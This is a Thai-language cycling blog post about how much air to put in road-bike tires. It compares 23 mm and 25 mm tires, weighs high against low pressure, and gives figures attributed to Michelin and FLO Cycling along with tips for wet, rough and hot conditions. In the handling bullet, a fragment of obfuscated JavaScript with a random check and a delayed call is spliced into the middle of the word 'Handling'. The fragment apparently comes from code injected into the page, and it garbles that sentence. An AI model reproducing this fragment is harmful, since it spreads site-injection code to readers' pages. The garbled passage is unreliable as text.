ใส่ลมยาง…เท่าไรดี?
หนึ่งในปัญหาโลกเเตกของชาวนักปั่น…เราควรใส่ลมยางเท่าไรดี…ปัจจุบันยางล้อในวงการปั่นจักรยานเสือหมอบไทย มีสองตัวเลือกใหญ่ๆ คือขนาด 23mm และ 25mm จะถูกกำหนดปริมาณลมที่ใส่เข้าไปได้เฉลี่ยอยู่ระหว่าง 90-120 psi หรือ 6-9 bar เป็นต้น ความดันที่เราปั๊มลมเข้าไปส่งผลต่อการปั่นของเรา ทั้งในเรื่องความเร็ว (speed) การยึดเกาะ (traction) และความสบายในการปั่น (comfortable)
ถ้าเราใส่ลมจนเยอะ จะเกิดอะไรขึ้น….?
การใส่ลมในระดับความดันสูงหรือ high pressure มีผลที่เห็นได้ชัดคือเคลื่อนที่ไปได้เร็ว ล้อสามารถหมุนได้เร็วขึ้น เพราะมี Rolling resistance น้อยลง แต่การใส่ลมที่ความดันสูงๆ ก็มีข้อเสียคือ
- โอกาสล้อเเตกฉีกขาดเกิดขึ้นได้สูง เพราะล้อต้องรับน้ำหนักตัวผู้ปั่น เมื่อปั่นไปจะเกิดเเรงเสียดทาน เกิดความร้อนทำให้อากาศ และวัสดุล้อต่างๆ ขยายตัว ยิ่งในสภาวะอากาสร้อนจะยิ่งมีการขยายตัวขึ้นอีก หากกระทบกับพื้นเเข็ง ทางขรุขระ โอกาสล้อเเตกจะเกิดได้สูงมาก
- ลด Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling และ Control ลง หรือการควบคุมจักรยานเวลาเลี้ยวและเข้าโค้งต่างๆ ลดลง เพราะเมื่อมีการสัมผัสกับพื้นผิวถนนน้อยลง การยึดเกาะจะน้อยลงตามไปด้วย ประกอบทั้งล้อที่มีความดันสูงจะเเข็งและกระเด้งมากกว่าล้อที่มีความดันต่ำ โอกาสสัมผัสพื้นผิวก็จะยิ่งลดน้อยลงไปอีก
- เเรงสั่นสะเทือนสูง จะทำให้ไม่สบายเวลาปั่น เร่งอาการเหนื่อยให้เกิดขึ้นเร็ว เราต้องเสียพลังงานในต่อกรกับเเรงสั่นไหว
- การสั้นสะเทือนทำให้สูญเสียโมเมนตรัมในการพุ่งไปข้างหน้า ทำให้ความเร็วลดลง
ถ้าเราใส่ลมน้อย หรือ low pressure จะเกิดอะไรขึ้น…สิ่งเเรกที่จะเห็นได้ชัดคือ อาการหนืด ปั่นไปได้ช้า เเต่ขณะเดียวกัน การยึดเกาะจะทำได้ดีกว่า ล้อไม่สั่นสะเทือนมาก นุ่มกว่าล้อที่มีความดันสูง
ดังนั้นหน้าที่ขอเราคือการหาจุดสมดุลของการเติมลมให้เหมาะกับ โดยคำนึงถึง 3 ปัจจัยหลัก คือ
- น้ำหนักตัวผู้ปั่น
- ขนาดล้อยาง ร่วมทั้งยี่ห้อผู้ผลิต
- สภาพพื้นผิวและอุณหภูมิที่ใช้ปั่น ณ ขณะนั้นๆ
ลองมาดูตัวอย่างที่ Michelin ทำการศึกษาไว้ ว่าเราควรใส่ลมอย่างเท่าไร
สมมุติว่า เราหนัก 75 กิโลกรัม เเละใช้ ล้อยาง ขนาด 700*25c….เราควรใส่ลมที่ 6.5-7 bar แต่ถ้าดูของเวบไซด์ FLO Cyclingพบว่าจะอยู่ที่ระหว่าง 6.3-6.5 bar ทั้งนี้ที่เกิดความเเตกต่างกันเพราะ วัสดุหรือคุณภาพของยางที่ใช้ผลิตนั้นเเตกต่างกัน เเต่พอจะเป็นเกณฑ์ชี้เเนะได้ว่าเราควรเติมลมในช่วง 6.3 – 7 bar จากนั้นก็ใช้ความรู้สึกของเราในการทดลองปั่น เเต่ละความดันให้ฟีลลิ่งอย่างไร เร็วและควบคุมได้ดีมั้ย ต้องเลือกเอาเอง
มาต่อกันที่ สภาพพื้นผิวและอุณหภูมิที่ใช้ปั่น มีหลักจำง่ายๆ
- ถ้าถนนเปียก ต้องเพิ่มเเรงยึดเกาะ หรือ traction ต้องลดความดันลง
- ถ้าถนนขรุขระ ต้องลดความดันลง ลดความเสี่ยงที่จะทำให้ล้อเเตกได้ การลดความดันจะช่วยลดอาการสั้นไหว ช่วยรักษาโมเมนตรัมในการพุ่งไปข้างหน้า
- พื้นถนนเรียบ อากาศดี ธรรมดาทั่วไป ความดันมาตรฐานที่เราใช้ปั่น เพิ่มได้นิดหน่อย
- ในวันที่อากาศร้อน ลดความดันลมลง
ว่ากันเเล้วเรามาดูเหล่าโปรกันว่าเค้าใส่กันเท่าไร
สังเกตว่า ส่วนมาจะเลือกใช้ล้อ 25mm เพราะเรื่องการควบคุมและความทนทาน ความดันจะขึ้นอยู่กับสภาพพื้นผิวที่ปั่น อากาศ และความชอบเเต่ละคน